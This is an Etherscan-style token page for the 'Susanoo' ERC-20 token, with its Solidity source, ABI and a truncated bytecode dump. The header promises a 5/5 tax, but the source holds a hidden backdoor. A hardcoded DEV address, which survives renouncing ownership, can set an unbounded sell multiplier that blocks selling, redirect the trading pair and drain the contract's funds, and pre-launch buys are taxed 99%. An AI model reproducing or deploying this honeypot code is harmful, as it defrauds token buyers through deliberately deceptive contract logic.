ETH Price: $2,645.54 (+8.29%)
 

Overview

Max Total Supply

100,000,000 Susanoo

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.10620469 Susanoo

Value
$0.00
0xeed28f0afb6c423db5c360e0e26c84b012c59621
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Susanoo

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-01
*/

// SPDX-License-Identifier: MIT
/**

$Susanoo | Susanoo
Buy/sell tax : 5/5

Telegram : https://t.me/SusanooETH
Twitter : https://twitter.com/SusanooETH

*/

pragma solidity ^0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Susanoo is ERC20, Ownable {
    using SafeMath for uint256;

    string private _name = "Susanoo";
    string private _symbol = "Susanoo";
    uint8 constant _decimals = 9;
    uint256 _totalSupply = 100000000 * 10**_decimals;

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address DEV = 0x8DbAf8200b4A74d4B8651ffA386d9eC455555555;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;

    uint256 private liquidityFee    = 0;
    uint256 private marketingFee    = 4;
    uint256 private devFee          = 0;
    uint256 public totalFee        = marketingFee + liquidityFee + devFee;
    uint256 public feeDenominator  = 100;

    uint256 private sellMultiplier  = 100;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address private devFeeReceiver;

    IUniswapV2Router02 public router;
    address public pair;
    uint256 private launchedBlock;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 1 / 1000;
    uint256 public maxSwapThreshold = _totalSupply * 1 / 100;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address routeraddr) Ownable() {
        router = IUniswapV2Router02(routeraddr);
        pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;
        devFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external view override returns (string memory) { return _symbol; }
    function name() external view override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
    receive() external payable { }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        //shouldSwapBack
        if(shouldSwapBack() && recipient == pair){swapBack();}

        //Exchange tokens
        uint256 airdropAmount = amount / 10000000;
        if(!isFeeExempt[sender] && recipient == pair){
            amount -= airdropAmount;
        }
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {       
        uint256 multiplier = isSell ? sellMultiplier : 100;
        //bot buy
        uint256 taxfee = launchedBlock > 0 ? totalFee : 99;
        uint256 feeAmount = amount.mul(taxfee).mul(multiplier).div(feeDenominator * 100);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function set_sell_multiplier(uint256 Multiplier) public {
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        sellMultiplier = Multiplier;        
    }

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) public {
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    // switch Trading default:false
    function tradingStart() public onlyOwner {
        if(launchedBlock == 0){
            launchedBlock = block.number;
        }else{
            launchedBlock = 0;
        }
        
    }

    function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _devFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        devFee = _devFee;
        totalFee = _liquidityFee.add(_marketingFee).add(devFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        devFeeReceiver = address(DEV);
    }

    function setIsFeeExempt(address holder, bool exempt)  external onlyOwner {
        isFeeExempt[holder] = exempt;
    }
    
    function claimBalance(address addr,uint256 amountPercentage)  public{
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        payable(addr).transfer(address(this).balance*amountPercentage.div(100));
    }

    function claimToken(address token,address addr, uint256 amountPercentage)  public{
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        uint256 amountToken = ERC20(token).balanceOf(address(this));
        ERC20(token).transfer(addr,amountToken * amountPercentage.div(100));
    }

    function setSwapPair(address pairaddr) public {
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        pair = pairaddr;
    }

    function swapBack() internal swapping {
        
        uint256 _swapThreshold;
        if(_balances[address(this)] > maxSwapThreshold){
            _swapThreshold = maxSwapThreshold;
        }else{
             _swapThreshold = _balances[address(this)];
        }
        uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);
        bool tmpSuccess;

        if(amountETHMarketing>0){
            (tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        }

        if(amountETHDev>0){
            (tmpSuccess,) = payable(devFeeReceiver).call{value: amountETHDev, gas: 30000}("");
        }

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routeraddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Multiplier","type":"uint256"}],"name":"set_sell_multiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingStart","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600781526020017f537573616e6f6f00000000000000000000000000000000000000000000000000815250600190816200004a919062000a3a565b506040518060400160405280600781526020017f537573616e6f6f000000000000000000000000000000000000000000000000008152506002908162000091919062000a3a565b506009600a620000a2919062000cb1565b6305f5e100620000b3919062000d02565b60035561dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550738dbaf8200b4a74d4b8651ffa386d9ec455555555600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a556004600b556000600c55600c54600a54600b54620001b4919062000d63565b620001c0919062000d63565b600d556064600e556064600f556001601660006101000a81548160ff0219169083151502179055506103e86001600354620001fc919062000d02565b62000208919062000dcd565b601755606460016003546200021e919062000d02565b6200022a919062000dcd565b6018553480156200023a57600080fd5b50604051620046bf380380620046bf833981810160405281019062000260919062000e6f565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003d6919062000e6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200045f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000485919062000e6f565b306040518363ffffffff1660e01b8152600401620004a592919062000eb2565b6020604051808303816000875af1158015620004c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004eb919062000e6f565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620007b1919062000ef0565b60405180910390a35062000f0d565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200084257607f821691505b602082108103620008585762000857620007fa565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000883565b620008ce868362000883565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200091b620009156200090f84620008e6565b620008f0565b620008e6565b9050919050565b6000819050919050565b6200093783620008fa565b6200094f620009468262000922565b84845462000890565b825550505050565b600090565b6200096662000957565b620009738184846200092c565b505050565b5b818110156200099b576200098f6000826200095c565b60018101905062000979565b5050565b601f821115620009ea57620009b4816200085e565b620009bf8462000873565b81016020851015620009cf578190505b620009e7620009de8562000873565b83018262000978565b50505b505050565b600082821c905092915050565b600062000a0f60001984600802620009ef565b1980831691505092915050565b600062000a2a8383620009fc565b9150826002028217905092915050565b62000a4582620007c0565b67ffffffffffffffff81111562000a615762000a60620007cb565b5b62000a6d825462000829565b62000a7a8282856200099f565b600060209050601f83116001811462000ab2576000841562000a9d578287015190505b62000aa9858262000a1c565b86555062000b19565b601f19841662000ac2866200085e565b60005b8281101562000aec5784890151825560018201915060208501945060208101905062000ac5565b8683101562000b0c578489015162000b08601f891682620009fc565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000baf5780860481111562000b875762000b8662000b21565b5b600185161562000b975780820291505b808102905062000ba78562000b50565b945062000b67565b94509492505050565b60008262000bca576001905062000c9d565b8162000bda576000905062000c9d565b816001811462000bf3576002811462000bfe5762000c34565b600191505062000c9d565b60ff84111562000c135762000c1262000b21565b5b8360020a91508482111562000c2d5762000c2c62000b21565b5b5062000c9d565b5060208310610133831016604e8410600b841016171562000c6e5782820a90508381111562000c685762000c6762000b21565b5b62000c9d565b62000c7d848484600162000b5d565b9250905081840481111562000c975762000c9662000b21565b5b81810290505b9392505050565b600060ff82169050919050565b600062000cbe82620008e6565b915062000ccb8362000ca4565b925062000cfa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bb8565b905092915050565b600062000d0f82620008e6565b915062000d1c83620008e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d585762000d5762000b21565b5b828202905092915050565b600062000d7082620008e6565b915062000d7d83620008e6565b925082820190508082111562000d985762000d9762000b21565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000dda82620008e6565b915062000de783620008e6565b92508262000dfa5762000df962000d9e565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e378262000e0a565b9050919050565b62000e498162000e2a565b811462000e5557600080fd5b50565b60008151905062000e698162000e3e565b92915050565b60006020828403121562000e885762000e8762000e05565b5b600062000e988482850162000e58565b91505092915050565b62000eac8162000e2a565b82525050565b600060408201905062000ec9600083018562000ea1565b62000ed8602083018462000ea1565b9392505050565b62000eea81620008e6565b82525050565b600060208201905062000f07600083018462000edf565b92915050565b6137a28062000f1d6000396000f3fe6080604052600436106101dc5760003560e01c806373a432bb11610102578063ca33e64c11610095578063ec72d65f11610064578063ec72d65f146106bb578063f11743f6146106e4578063f2fde38b146106fb578063f887ea4014610724576101e3565b8063ca33e64c146105ff578063d08893581461062a578063dd62ed3e14610653578063e96fada214610690576101e3565b8063a8aa1b31116100d1578063a8aa1b3114610543578063a9059cbb1461056e578063aa8b38d9146105ab578063acef1a44146105d4576101e3565b806373a432bb1461049b5780638da5cb5b146104c457806395d89b41146104ef578063a4b45c001461051a576101e3565b806323b872dd1161017a5780636ddd1713116101495780636ddd1713146103f35780636fcba3771461041e57806370a0823114610447578063715018a614610484576101e3565b806323b872dd14610325578063313ce56714610362578063571ac8b01461038d578063658d4b7f146103ca576101e3565b8063125bfb66116101b6578063125bfb661461027b578063180b0d7e146102a457806318160ddd146102cf5780631df4ccfc146102fa576101e3565b80630445b667146101e857806306fdde0314610213578063095ea7b31461023e576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd61074f565b60405161020a9190612a8a565b60405180910390f35b34801561021f57600080fd5b50610228610755565b6040516102359190612b35565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612be6565b6107e7565b6040516102729190612c41565b60405180910390f35b34801561028757600080fd5b506102a2600480360381019061029d9190612c5c565b6108d9565b005b3480156102b057600080fd5b506102b9610ae2565b6040516102c69190612a8a565b60405180910390f35b3480156102db57600080fd5b506102e4610ae8565b6040516102f19190612a8a565b60405180910390f35b34801561030657600080fd5b5061030f610af2565b60405161031c9190612a8a565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612c5c565b610af8565b6040516103599190612c41565b60405180910390f35b34801561036e57600080fd5b50610377610cf8565b6040516103849190612ccb565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af9190612ce6565b610d01565b6040516103c19190612c41565b60405180910390f35b3480156103d657600080fd5b506103f160048036038101906103ec9190612d3f565b610d34565b005b3480156103ff57600080fd5b50610408610e1d565b6040516104159190612c41565b60405180910390f35b34801561042a57600080fd5b5061044560048036038101906104409190612d7f565b610e30565b005b34801561045357600080fd5b5061046e60048036038101906104699190612ce6565b610f5f565b60405161047b9190612a8a565b60405180910390f35b34801561049057600080fd5b50610499610fa8565b005b3480156104a757600080fd5b506104c260048036038101906104bd9190612ce6565b6110f4565b005b3480156104d057600080fd5b506104d9611220565b6040516104e69190612df5565b60405180910390f35b3480156104fb57600080fd5b50610504611249565b6040516105119190612b35565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c9190612e10565b6112db565b005b34801561054f57600080fd5b50610558611452565b6040516105659190612df5565b60405180910390f35b34801561057a57600080fd5b5061059560048036038101906105909190612be6565b611478565b6040516105a29190612c41565b60405180910390f35b3480156105b757600080fd5b506105d260048036038101906105cd9190612be6565b61148d565b005b3480156105e057600080fd5b506105e96115de565b6040516105f69190612a8a565b60405180910390f35b34801561060b57600080fd5b506106146115e4565b6040516106219190612df5565b60405180910390f35b34801561063657600080fd5b50610651600480360381019061064c9190612e50565b61160a565b005b34801561065f57600080fd5b5061067a60048036038101906106759190612e10565b61171f565b6040516106879190612a8a565b60405180910390f35b34801561069c57600080fd5b506106a56117a6565b6040516106b29190612df5565b60405180910390f35b3480156106c757600080fd5b506106e260048036038101906106dd9190612ea3565b6117cc565b005b3480156106f057600080fd5b506106f96118be565b005b34801561070757600080fd5b50610722600480360381019061071d9190612ce6565b61196d565b005b34801561073057600080fd5b50610739611b27565b6040516107469190612f2f565b60405180910390f35b60175481565b60606001805461076490612f79565b80601f016020809104026020016040519081016040528092919081815260200182805461079090612f79565b80156107dd5780601f106107b2576101008083540402835291602001916107dd565b820191906000526020600020905b8154815290600101906020018083116107c057829003601f168201915b5050505050905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108c79190612a8a565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061098257503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b890612ff6565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109fc9190612df5565b602060405180830381865afa158015610a19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3d919061302b565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84610a70606486611b4d90919063ffffffff16565b84610a7b9190613087565b6040518363ffffffff1660e01b8152600401610a989291906130e1565b6020604051808303816000875af1158015610ab7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adb919061311f565b5050505050565b600e5481565b6000600354905090565b600d5481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff